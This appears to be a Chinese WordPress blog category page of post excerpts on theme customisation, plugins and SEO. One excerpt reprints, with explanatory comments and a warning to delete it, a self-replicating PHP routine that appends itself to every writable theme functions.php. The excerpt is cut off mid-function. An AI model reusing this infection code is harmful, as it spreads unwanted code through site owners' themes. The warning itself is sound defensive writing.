生活或许总有遗憾,但未来依旧美好。
欢迎访问...
Category

Category: WordPress

在WordPress上传图片到阿里云OSS

阿里云 OSS 支持插件 (Aliyun OSS For WordPress) 本插件主要为 WordPress 提供基于阿里云 OSS 的远程附件存储功能,并且最大限度的依赖 WordPress 本身功能扩展来实现,以保证插件停用或博客搬迁时可以快速切换回原来的方式。   作者GitHub:https://github.com/IvanChou/aliyun-oss-support   另外在OSS也要设置为公开读,否则图片无法访问。

今晚开始给我的折扣网写移动端主题,自从在header.php加入<?php wp_head(); ?>后,多了一堆WordPress自带的东西。 这里贴出来方便大家不用找得那么麻烦。 首先是移除顶部多余信息、移除emoji表情样式,如果是移动端,可以移除wordpress顶部工具栏css样式,最后是很重要的去除谷歌字体。 把下面代码贴入function.php,愉快地开始写你的主题吧~ //移除顶部多余信息 remove_action('wp_head', 'index_rel_link');//当前文章的索引 remove_action('wp_head', 'feed_links_extra', 3);// 额外的feed,例如category, tag页 remove_action('wp_head', 'start_post_rel_link', 10, 0);// 开始篇 remove_action('wp_head', 'parent_post_rel_link', 10, 0);// 父篇 remove_action('wp_head', 'adjacent_posts_rel_link', 10, 0); // 上、下篇. remove_action('wp_head', 'adjacent_posts_rel_link_wp_head', 10, 0 );//rel=pre remove_action('wp_head', 'wp_shortlink_wp_head', 10, 0 );//rel=shortlink remove_action('wp_head', 'rel_canonical' ); wp_deregister_script('l10n'); remove_action('wp_head','rsd_link');//移除head中的rel="EditURI" remove_action('wp_head','wlwmanifest_link');//移除head中的rel="wlwmanifest" remove_action('wp_head','rsd_link');//rsd_link移除XML-RPC remove_filter('the_content', 'wptexturize');//禁用半角符号自动转换为全角 //Disable the emoji's function disable_emojis() { remove_action( 'wp_head', 'print_emoji_detection_script', 7 ); remove_action( 'admin_print_scripts', 'print_emoji_detection_script' ); remove_action( 'wp_print_styles', 'print_emoji_styles' ); remove_action( 'admin_print_styles', 'print_emoji_styles' ); remove_filter( 'the_content_feed', 'wp_staticize_emoji' ); remove_filter( 'comment_text_rss', 'wp_staticize_emoji' ); remove_filter( 'wp_mail', 'wp_staticize_emoji_for_email' ); add_filter( 'tiny_mce_plugins', 'disable_emojis_tinymce' ); } add_action( 'init', 'disable_emojis' ); function disable_emojis_tinymce( $plugins ) { if ( is_array( $plugins ) ) { return array_diff( $plugins, array( 'wpemoji' ) ); } else { return array(); } } //移除wordpress顶部工具栏css样式…

该插件的实现的功能是:在pc 上显示还是你之前使用的主题(下称“电脑桌面主题”),但在移动设备上,他会自动加载相应设置的移动主题。安装好插件后,打开设置页面,显示你当前的桌面主题,然后由两个选项功能选择手机、平板主题,下拉选择相应的手机主题保存即可。   下载地址:http://pan.baidu.com/s/1pJBxOQR   本插件支持移动主题与电脑主题的手动切换,如果使用本移动主题默认有<strong>手机→电脑</strong>主题的入口;但相对应的电脑桌面主题上则需要添加代码以提供电脑→手机主题的接口,复制页面中的代码添加到当前pc主题的适当位置(一般为页脚处),酌情添加css样式即可。 <script type="text/javascript">// <![CDATA[ function ReturnMobile(){ var expires = new Date(); expires.setTime(expires.getTime()-1); document.cookie = 'return_desktop=1;path=/;expires=' + expires.toGMTString(); } // ]]></script><!--?php if ( wp_is_mobile() ) {?--> <a onclick="ReturnMobile()" href="javascript:window.location.reload();">切换回移动版</a> <!--?php }?--> 注意事项: 由于移动主题是通过该插件来识别移动设备,进而调用移动主题。如果你的网站采用了缓存机制(安装了缓存插件),可能会导致插件功能失效,因此,建议您在购买移动主题前下载本插件测试一下。 测试方法:下载本插件(下段有地址),上传激活,然后按照上面的“使用方法”设置手机主题为另外的一个主题,用手中的移动设备访问你的网站看看是否可以显示该另外的主题。若可以,则表示可以;若不行,只能您去自己解决了。

之前用多梦主题时曾经发现过function文件里面有一些奇怪的代码,也有朋友提醒说是中毒。今天在折扣网的function里一样也发现了这种代码,百度一下,从倡萌那里转载过来! 倡萌的本地php环境包含了很多下载测试的WordPress主题,在测试Hcms主题时,倡萌发现了在functions.php会自动加上一段多余的代码,所以倡萌清理完所有本地主题以后,将所有主题的functions.php文件属性都设置为只读,这样我的本地环境中主题都不会再受影响。而且我在后面发布的Hcms主题时,都会特别检查functions.php这个文件,确保无误后再上传的,而且倡萌还在functions.php文件的最后一个 ?> 前面添加了“//所有设置结束”这样的提示语,大家不妨看看是不是有这样的提示语。 好了,下面把那段恶意代码发布上来,希望大家自己删除。 <?php function _verifyactivate_widgets(){ //当前文件名,如/path-to-www/wp-content/themes/SimpleDark/functions.php //查找当前主题functions.php文件中最后一个 <? 标记,从这个标记的位置开始,取得一直到文件尾的内容 $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?")); $output=""; $allowed=""; //去除html和php标签,其实这一句是扯蛋。。。 $output=strip_tags($output, $allowed); //取得主题目录themes的绝对路径,如 /path-to-www/wp-content/themes //为了加强程序的兼容性,它不惜以这种很晦涩的方式来获取。。。 //以主题目录themes的绝对路径用array包裹为参数传递给_get_allwidgets_cont函数获取此博客的所有主题的functions.php文件的绝对路径 $direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ //如果主题functions.php文件可写 if (is_writable($item)){ //特征码 $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); //取目标functions.php文件内容 $cont=file_get_contents($item); //没找到特征码?OK,试图感染 if (stripos($cont,$ftion) === false){ //查看目标functions.php文件最后是否是以 ?> 结尾,如果不是,给加上 ?> 标记 $comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; //这里的代码是忽悠人了,模仿WP widgets的代码,蛊惑你的眼睛,让你觉得这是widget代码。。。 $output .= $before . "Not found" . $after; //如果文件是以 ?> 标记结尾的,连标记一起取过来 if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} //开始感染,$widget内容即是恶意代码自身,在functions.php文件原内容后附加恶意代码 $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f); //后面这句也是伪装用的 $output .= ($isshowdots && $ellipsis) ? "..." : ""; } } } } return $output; } function _get_allwidgets_cont($wids,$items=array()){ //从$wids数组弹出一个元素(实际上是一个位置) $places=array_shift($wids); //如果位置字串是以/结尾的,则去掉/ if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } //若不存在这样的文件或目录则直接返回false if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ //否则的话。。。嘿嘿…

2015年10月7日00:44:15更新,其实做成碎碎念那样的效果,并不用那么费心思!既不用考虑调用全部缩略图,也不用考虑怎样加灯箱效果给缩略图。直接用<?php the_content(); ?>调用全文即可解决。 ————————————————————————————————————— 先上demo如下图,链接是:碎碎念-Kouss博客 我这个是一个分类目录,文章列表形式,只是删除标题,然后把正文直接展示出来而已。 具体可以看两篇文章: 修改多梦主题,为不同文章分类指定不同模版 如何在WordPress上写短微博/说说,制作展示页 首先,需要调用每篇文章里面的图片。如果只是用特色图像,或者调用缩略图的方式去做,那只能是一张的。我这里贴一段我觉得比较不错的代码: //调用文章的全部图片 function all_img($content){ $pattern = '/<img[^>]*src=\"([^\"]+)\"[^>]*\/?>/si'; $matches = array(); if (preg_match_all($pattern, $content, $matches)) { // 注意,$matches[1]中才是图片地址,可以自己打印看看 // 如果图片小于1,则不显示缩略图 if (count($matches[1] > 1)) { // 显示4张图片 foreach ($matches[1] as $index => $imgUrl) { echo "<img src='"; echo $imgUrl; // 显示图片 echo "' alt=".get_the_title()." />"; // $index为3的时候已经是第四张了($index从0开始的) if ($index >= 3) { break; } } } } else { // 没有图片了 echo ""; } } 在文章列表相应的位置,放入:<?php all_img($post->post_content);?> 这样文章里面的所有图片就能全部调用出来了。 接下来,我们要做灯箱效果。什么是灯箱?可以看:给文章图片添加一个灯箱插件—Auto Highslide 我们这里要配合这个插件使用,那我们还需要做? 1、把图片改成a标签下包裹img标签的形式 2、比文章内容页稍微麻烦,要加上onclick事件 3、鼠标移动到图片时,显示放大镜效果,添加class='highslide-image' 最终是要下面那种形式: <a href="http://s.kouss.com/wp-content/uploads/2015/09/20762.jpg" class='highslide-image' onclick='return hs.expand(this);'> <img src="http://s.kouss.com/wp-content/uploads/2015/09/20762.jpg" /> </a> 回到我们上面说的,调用文章全部图片的方法,那种方法可以通过$imgUrl这个变量来输出图片链接,然后怎么折腾都行了。 请轻吐槽不懂php语法,截个图,不贴出来害人。

昨天收到站长平台公众微信号的提示,WordPress的链接提交工具从2014年2月到现在,终于更新了,不是下图那个。        为了方便广大使用wordpress建站的站长朋友及时提交数据,百度站长平台设计和开发了一款wordpress插件—Baidu Links Submit工具,该工具是基于百度站长平台ping2.0的链接提交接口。本插件只需您简单的配置下您的site和token即可使用。确保您的网站以快速的提交方式,以保证新链接可以及时被百度收录。大家对WordPress插件有任何的意见或者建议可以在站长社区[站长工具]wordpress链接提交插件讨论帖中留言。 WordPress数据提交插件下载地址 启用插件后是这样子的,只需要填写你站点的URL和Token就可以了。 获取Token的方法,还需要你去登陆百度站长平台:http://zhanzhang.baidu.com/dashboard/index 如下图把选中的两个红圈内容填上去就可以了。 具体作用有待考察~~但是如果你的站点有sitemap权限的话,定期抓取也是蛮快的。大家可以用百度搜索site:kouss.com来看我的收录量!

我现在用的多梦主题是没有灯箱效果的,顺便找了一款亲测还行,推荐给大家~ 灯箱插件的主要效果即为点击图片出现一个弹出层放大的效果,同时可以轻松操作放大、幻灯片放映、下一张、上一张等效果。不足 100K 的大小绝对不会影响到网站的正常速度,效果点击一下下面的图片就知道了。 可能出现的问题 安装好插件之后,如果点击图片一直显示“正在加载”,就是不能显示展开效果的话,看看你使用的主题是否加载了 jQuery,此插件是需要 jQuery 支持。 使用很简单,解压上传到插件文件夹,后台安装。用的时候在图片上面加个 a 链接标签就行。举例: <a href="http://s.kouss.com/wp-content/uploads/2015/09/20762.jpg"> <img src="http://s.kouss.com/wp-content/uploads/2015/09/20762.jpg" /> </a> 注意:原图可以很大,但是要定义 width 的大小,这样图片就会被压缩到页面合适的大小了,点击就能显示大图片。 如果你在图片里面定义了 alt 属性,那么当你点击图片显示效果时,alt 属性里面的文字会显示在图片底部。 插件下载地址:http://pan.baidu.com/s/1sjEDgNb

今晚不懂php的我在瞎看多梦的PV统计,很明显好多都看不懂。我以前用过几个WordPress主题,然而每个主题统计文章或者页面浏览次数的方式不同, 在主题中比较常见的统计方法如下图,通过每次刷新修改views字段的数字来统计,这个办法也是很通用的。如果两套主题统计方式一样,切换之后很幸运,浏览次数还会保留的。 而我们的多梦大大明显就不用这种方法,自从这周换回多梦主题,统计量都是从0开始的。我下载了他的一个修改浏览次数的插件。 这些累计下来的浏览次数,只能在多梦主题显示。如果你哪天用了别的主题,那就从0开始吧。 最后,我虽然可以修改多梦主题的统计调用,但看到他说每周更新一次。 他更新一次我就要覆盖一次,重新修改一次。我实在折腾不起。哈哈哈。还是要感谢多梦! 解决方法: 建议使用插件WP-PostViews(英文)或者WP-PostViews Plus都不错。即使你只启用了插件不去调用它在前端显示,它依然会自动给自定义栏目views字段添加统计量。还是第一个截图,刷新几下views就多了几个,到一百零几了。 说明是有效的,我现在用多梦主题,用多梦的统计,以后换主题只需要用下面代码调用views的值,浏览量又回来了。 //显示浏览次数,需配合插件Post Views Plus <?php if(function_exists('the_views')) {the_views();} ?>

多梦主题给不同栏目设置不同模版的一种方法,可能多梦有其他方法可以设置,我不知道的,仅供参考学习。 把archive.php复制一份改为archive-default.php。 然后把archive.php的内容改为以下: <?php if ( is_category(array(1)) ) { include_once 'archive-suisui.php'; } elseif ( is_category(array(7))){ include_once 'archive-isheying.php'; } else { include_once 'archive-default.php'; } 栏目ID为1的调用archive-suisui.php模版(自己新建),栏目ID为7的调用archive-isheying.php模版。 这样就可以为不同栏目设置不同模版了。接下来模版的修改,可以看到archive.php中的文章循环方式。 <?php if ( have_posts() ) { while ( have_posts() ) : the_post(); get_template_part( 'content', 'archive' ); endwhile; } else { } ?> 是调用content这个模版的,显然我们不能修改原来的模版。 于是复制黏贴一份。重命名为content-isheying.php,这个是给“爱摄影”分类使用的。 把一些关键的框架保留,就尽情修改吧。 今晚先改到这里,一些交互性的东西明天有时间再继续弄。 最后感慨下,基于bootstrap前端框架开发的主题,修改起来真的好方便。参考V3版的全局CSS样式:http://v3.bootcss.com/css/#grid,尤其是栅格系统。

终于等到了2.1的更新,好像是从五月份开始说要更新的了。 来说说我的一些修改记录。 1、跟多梦无关的,刚刚升级WordPress 4.3,编辑器无法切换到文本模式。 修改wp-config.php文件。打开 wp-config.php 文件,在适当位置添加以下代码: define('CONCATENATE_SCRIPTS', false); 2、多梦主题添加统计代码时,居然放到外面去了。可能多梦没打算让统计代码显示文字的。 我们可以加个 <div style="display: none;">//统计代码</div>来隐藏掉。 3、后台字体很丑,改回微软雅黑。 找到inc/open.class.php,大概83行,在<style type="text/css">后面添加css #login{font-family: "Microsoft Yahei","冬青黑体简体中文 w3","宋体";}.dmengopen{margin:0 0 0 -10px;} 我的还把登陆按钮改成块状,这个是看个人喜好。 4、function.php我没改过,好像把旧主题的自己加上去了? 本来下图那里应该结束的了,但是跟刚下载时的文件对比,多了一大截,而且还有一些是我加的,好费解。 5、虽然能在可视化编辑下自动给代码增加span标签来实现高亮,但切换编辑器还是很怕错乱的。 所以我现在只敢在文本模式下编辑。 6、关于版权声明,有两个开关 刚刚才发现的,关了一个拼命刷新都还会显示。而且太贴近正文了,没东西分割开。后来才发现是有两个地方设置的。 7、手机访问白屏?要先去后台设置? 插件已开启,移动端主题也上传了。居然白屏!!! 还换了两个插件,DW Mobile Switcher和wp-mobile-themes切换过去都是白屏。 原来后台那里还要设置一下的,以为可以的时候高潮来了!!还是白屏。 后来联想到第4点,function.php无端端自动加了很多以前主题的东西进去,打开一开果然是。删除就OK了。这个真怪我! 8、浏览次数不会变化 已经关闭缓存插件了,点击并不会添加数量。 9、主题压缩包可以加版本号,但是文件夹加版本号不好吧? 以后升级2.2、2.3了,不能覆盖文件夹或者切换目录-old形式来更新,后台要重新设置一次。 依然怪我咯?下载是这样,我直接丢上服务器并且弄了一晚,才发现主题文件夹居然带版本号 10、本来还想自定义一下模版的,但好像不行。 11、用前端框架的好处就是,随手复制class就是成品。 做了个友情链接的表格,还有一些网站没收录齐,真的要等我有时间才行了。 今晚还有事,先折腾到这里。

我的图片站下载流量一直很紧,随时欠下七牛一笔钱跑路的节奏。尤其是我不喜欢给网站图片添加太多分页,点一下看一张那种实在是憋屈。 套图分类是重灾区,因为每篇文章都有几十张图片,一个IP就带走我不少流量了。必须给它加延迟加载,拉下时再加载图片节省流量。  原谅我现在还没搞好代码高亮,凑合看看先。 先上Demo:美女纹身艺术照 @全过程 步骤1、引用jQuery.js,一般主题都有。如果没有,直接用度娘CDN的好了,要加在后面那些JS之前 <script src="http://apps.bdimg.com/libs/jquery/1.11.1/jquery.min.js"></script> 步骤2、下载jquery.lazyload.min,如果下载后文件名有变,请重命名回jquery.lazyload.min.js,放置到主题的js文件夹里 步骤3、在页脚加入以下代码: <!--图片懒加载--> <script type="text/javascript" src="<?php bloginfo('template_directory');?>/js/jquery.lazyload.min.js"></script> <script type="text/javascript"> $(function() { jQuery("img").lazyload({ effect : "fadeIn", failure_limit : 10 }); }); $(function() { $("img:below-the-fold").lazyload({ event : "sporty" }); }); $(window).bind("load", function() { var timeout = setTimeout(function() {$("img.lazy").trigger("sporty")},2000); }); </script> <!--图片懒加载end--> 步骤4、修改主题的function.php,在底部的 ?> 之前添加以下代码,并找一个好看的加载gif,命名为loading.gif,丢进主题的images'文件夹里 //图片懒加载 function add_image_placeholders( $content ) { if( is_feed() || is_preview() || ( function_exists( 'is_mobile' ) && is_mobile() ) ) return $content; if ( false !== strpos( $content, 'data-original' ) ) return $content; $placeholder_image = apply_filters( 'lazyload_images_placeholder_image', get_template_directory_uri() . '/images/loading.gif' ); $content = preg_replace( '#<img([^>]+?)src=[\'"]?([^\'"\s>]+)[\'"]?([^>]*)>#', sprintf( '<img${1}src="" data-original=""${3}><noscript><img${1}src=""${3}></noscript>', $placeholder_image ), $content ); return $content; } add_filter( 'the_content', 'add_image_placeholders', 99 ); 观察下源代码,图片不再是src直接输出了,而是放置在data-original里了。   补充说明: effect : "fadeIn", 加一个淡入的特效 failure_limit : 10 });…

wordpress上传文件,如果文件名重复的话,会覆盖原文件,而中文名称的文件则会出现乱码,对于同一天上传文件较多的站点,手动修改显然很麻烦。百度有很多方法是通过修改程序源文件实现的,对于wordpress的更新速度,相当不方便。 下面介绍的方法是通过在当前主题的functions.php文件里添加相关函数代码实现。缺点是每次更换主题的时候都要重新添加一次,适合不常更换主题模板的站点;优点当然是不受wordpress程序更新的影响! 把下面的代码添加至当前主题functions.php文件:(添加在第一行的<?php下面) function rename_filename($filename) { $info = pathinfo($filename); $ext = empty($info['extension']) ? '' : '.' . $info['extension']; $name = basename($filename, $ext); return substr(md5($name), 0, 10) . $ext; } add_filter('sanitize_file_name', 'rename_filename', 10); 以上代码可以实现文件名称在上传过程中自动重命名,新的名称规则是由系统自动生成的一个32位的MD5加密文件名,由于默认生成的32位文件名有点长,所以使用substr(md5($name), 0, 10) 截断将其设置为10位。 生成的文件名称如:2ba0b99abec8c19b66d7.jpg 修改前:http://s.kouss.com/wp-content/uploads/2015/09/QQ截图20150908144739.png 修改后:http://s.kouss.com/wp-content/uploads/2015/09/45c4c.png

又延迟到下周,真是一个悲伤的故事。 童鞋们好 多梦一直很努力在做,然而,还是没能完成2.1的测试版,要说原因,那是一个很长而且悲伤的故事。 这次七夕没能推送测试版的主要原因是几天前2.1决定采用子主题配合插件的方式自动切换PC端和移动端的主题,多梦高估了自己的工作效率,所以搞不出来,放大家飞机了。 但是童鞋们相当热情,多梦对此深感抱歉。发不了主题多梦也不希望辜负各位童鞋的心意。 目前计划是推送一个无后台无移动端的非正式测试版,以供爱折腾的童鞋去折腾(文件在WordPress 交流 135456238 QQ群文件里,不懂代码的童鞋不要搞)。今天周五,正式测试版预计在下周一或者周二推送。 共有 145 名童鞋会收到这份邮件,你们都是在多梦昨天挂上邮件订阅后就订阅了的,多梦非常感谢你们的支持。 因此多梦给各位童鞋准备了份礼物。2.1主题版权或一个免费的入门级免备案香港主机。 一个版权对应一个域名,如果你有一个版权了,你也可以领多一个,如果你不想要版权,也可以领主机。 领取这个礼物的方法是回复本邮件,说明你想要的礼物和你的联系方式,多梦会联系你的。 另:多梦主题2.1版本版权认证数据库正在建立,如果你之前捐赠并获得了主题版权,请把付款信息、网站地址、网站名称、站长名称和联系方式等信息发送到多梦邮箱,或者回复本邮件。 ——————————题外话—————————— 多梦网络经常遭受无聊的人的攻击,如果你就是这个无聊的人,请你不要做这种蠢事了。如果有什么想不开的,你可以去死啊。

大家用Wordpress的时候,可能很多都分别接触过hacklog-remote-image-autosave远程图片本地化插件和马文建OSS-Support阿里云OSS的插件,我们这篇文章就是将这两个插件整合。 同使用了这两个插件,因为hacklog-remote-image-autosave这个插件,在转载文章的时候特别方便,可以自动将远程图片本地化,使用OSS-Support阿里云OSS插件是为了让本地的图片自动上传到阿里云OSS并且进行访问,但是这当中无法实现转载一篇文章的时候将远程图片自动下载到服务器,再自动将图片从服务器上传到阿里云OSS。 感谢易淘帮更改完善了hacklog-remote-image-autosave插件,实现了转载文章时,自动将远程图片下载到服务器,并且同时自动将下载的服务器同步到阿里云OSS。 话不多说,将修改的插件放出来,供大家下载免费使用。 使用方法: 使用此插件必须安装并启用马文建的原版OSS-Support插件(OSS-Support)、再下载易淘帮修改的(hacklog-remote-image-autosave )。

上两周我做一个图片站,但是太忙经常没有时间经常去更新。一些文章积累下来,搜索引擎又不能带来流量,随机文章展示是让这些图片重见天日的主要办法。 采用wordpress内置函数,在需要的时候直接调用以下代码:   这样下来,即使你很少更新,但让老访客不会觉得太旧。 <ul> <?php $rand_posts = get_posts('numberposts=5&orderby=rand'); foreach( $rand_posts as $post ) : ?> <li> <a href="<?php the_permalink(); ?>"><?php the_title(); ?></a> </li> <?php endforeach; ?> </ul> 演示地址:http://99bt.us

对于网站SEO我以前都是喜欢用大侠的DX-Seo插件的,但是后来发现 WordPress SEO by Yoast 也挺好的,今天我们来说说它的一些设置,关于常规和页面分析等,接下来共同看它怎样使用才能让SEO最优化!   安装插件 进入后台-- 插件 --  安装插件  搜索Yoast WordPress SEO  点击安装(如图): 初步设置 安装完成之后,你可以看到后台会多了一个“seo”的选项: 这款主题的后台设定是中文的,所以看起来非常容易设置,你可以按照下图的方法进行设置: 控制面板: 你可以按照中文提示来决定是否使用其中的功能,一般默认即可。 标题&元标记--常规: 1.强制重写标题   : 如果你在SEO插件中修改了标题,但是网站却显示默认标题 ,那么你需要勾选这个选项,他会完全替换掉默认的标题 2.Title Separator: 标题与副标题的分割字符选择 3.站内meta设置: 这里勾选"使用关键词元标记",其他两项是禁止搜索一些内容,看你自己的需要是否勾选 4.清理header:如果你的主题没有提供清理header的功能,你可以勾选上,WEB主题公园的主题一般都提供了这个功能 标题&元标记--首页、文章、分类、其他: 这里是如果你没有特别设定首页、文章、分类、页面和其他的关键词、描述等信息,他们就会调用这里的默认信息。 标题、元关键词、元描述是使用的变量调用的(变量是一个类似于代数的符号,它对应会调用一些你的网站中的信息,比如%%title%%  ==  文章/页面/分类等的标题) 下面是这个插件的变量所代表的你网站中调用信息,你可以填写这些变量,让你的网站自动调用这些信息,也可以直接填写固定的关键词和描述(文字,汉字或者英文) %%date%%                                                        文章/页面的日期 %%title%%                                                         文章/页面的标题 %%sitename%%                                              站点名称 %%sitedesc%%                                                站点副标题/描述 %%excerpt%%                                                文章/页面摘要(如不存在则自动生成) %%excerpt_only%%                                    文章/页面摘要(不自动生成) %%tag%%                                                          当前标签 %%category%%                                          …

  XIU主题是一款清新扁平风格、13种颜色、多设备支持、SEO优化、各种提速优化的Wordpress主题. 4.0版本更新: 更新:手机端显示主要分享按钮; 更新:头像错乱的问题; 更新:显示文章详情页面标题下分类和阅读数; 修复:分页显示“页%页”改为“共%页”; 更新:视频 embed 高度自适应; 更新:小工具 D-评论 中排除用户ID为空的时候正常显示全部最新评论; 修复:使用百度站内搜索时的搜索按钮颜色和当前主题颜色风格统一; 修复:开启DEBUG后的基础报错; 修复:无加密无需授权下载即可使用; 下载地址: 百度云

WordPress的定时发布文章的功能是十分有用的,尤其是对于我那个采集来的网站,平均每天更新100+文章。今天我发现最新发布那里显示24小时只更新了28篇,一开始我以为是周末的原因,其他网站小编房间更新得较少。进去文章后台才发现有一大堆定时发布失败的文章,下图(近期文章都被我批量编辑好了,所以只截到以前的图)。 解决方法: 用wp-missed-schedule插件,一定要原版的,不要用水脉烟香修改的就OK了。 提供个下载地址,用FTP上传到/wp-content/plugins/目录,再在”后台--插件“开启即可。 点击下载:wp-missed-schedule 看到很多用wp-autopost这个插件的人同样有这个问题,而且wp-autopost说了一年的更新,也没有等得到,只好自己动手解决了!

我今天找了很久终于知道了使用Redirection中文翻译的方法,以及一般WordPress插件、主题等翻译文件的使用方法。 一般是通过一个汉化过(翻译过)的 mo 文件来实现( WordPress 仅可识别 mo 文件)。如果原作者提供了一个 po 文件或 mo 文件,那么我们就可以通过相关工具来自行汉化,或者翻译成其他语言版本。因为 mo 文件不能直接编辑,所以我们得编辑 po 文件,若仅有 mo 文件,那么就应该先把它转换成 po 文件后再进行编辑翻译。由于 po 文件本身就是一个文本文件,所以任何文本编辑器都可以使用。除了专门编辑 po 文件的 poEdit ,还推荐使用 EditPlus、UltraEdit或者你喜欢的 vi 或 vim。 Redirection插件简介 Redirection是WordPress专用的任意链接301重定向插件,也就是说,只要使用Redirection插件,就可以自己设置任意的链接重定向到新的链接,用户访问旧网址的时候,就会自动跳转到新网址。这样就避免了全站链接重定向,自由度很高哦。倡萌之前就用过Redirection插件,将一个分类的文章重定向到另一个网站。 Redirection下载 下载安装Redirection插件,也可以在后台直接搜索安装。 Redirection使用中文翻译文件 在插件下,找到locale文件夹,把最下面那两个文件复制出来。   重命名为redirection-zh_CN.mo,就是插件名-zh_CN.mo这样的格式,放到下图WordPress的路径。 再刷新插件的设置界面,已经有一部分是中文了,看样子插件作者提供的翻译包很不全,凑合用着吧。

[callout class="info或warning或danger" title=""]更新:用了这两款插件,都会出现一些文章的404页面,所以我已经停用了。请大家慎用。[/callout] 我的这个站是设置固定链接为/%postname%.html模式的,就是根据别名来作为文章地址。当文章没有设置别名时,文章链接就是http://kouss.com/中文标题.html。处女站长不能忍,分享显示一堆乱七八糟的字符,或者是聊天窗口、贴吧等网页不把中文标题.html识别出来,点击文章链接只能打开首页http://kouss.com而已。 于是这里安利两款自动拼音作为别名的插件方便懒人站长。下面为pinyin-permalink插件的截图: 下面为pinyin-seo插件的截图,虽然2年没更新了,看起来还很牛逼。

事情是这样的!大王让我把本该是两个网站的内容做到一个网站,那么肯定会遇到标题的问题。思路是这样的,在页头header.php添加个判断,如果是某个分类下的文章、文章列表页,就显示自定义的标题。很简单,但是对WordPress函数不熟,走了不少弯路。直接贴代码,希望帮到有这种奇葩需求的人。 <?php if ( is_home() ) { ?><title><?php bloginfo('name'); ?> | <?php bloginfo('description'); ?></title><?php } ?> <?php if ( is_search() ) { ?><title>搜索结果 | <?php bloginfo('name'); ?></title><?php } ?> <!--判断分类ID选择不同标题--> <?php if ( in_category(array(175,178,177,183,181,180,176,179,182)) ) { ?> <title><?php echo trim(wp_title('',0)); ?> | XXXXX自定义标题</title> <?php } else{ ?> <title><?php echo trim(wp_title('',0)); ?> | <?php bloginfo('name'); ?></title><?php } ?> <!--判断分类ID选择不同标题end--> <?php if ( is_category() ) { ?><title><?php single_cat_title(); ?> | <?php bloginfo('name'); ?></title><?php } ?> <?php if ( is_page() ) { ?><title><?php echo trim(wp_title('',0)); ?> | <?php bloginfo('name'); ?></title><?php } ?> <?php if ( is_day() ) { ?><title><?php the_time('Y年m月d日'); ?> | <?php bloginfo('name'); ?></title><?php } ?> <?php if ( is_month() ) { ?><title><?php the_time('Y年m月'); ?> | <?php bloginfo('name'); ?></title><?php } ?> <?php…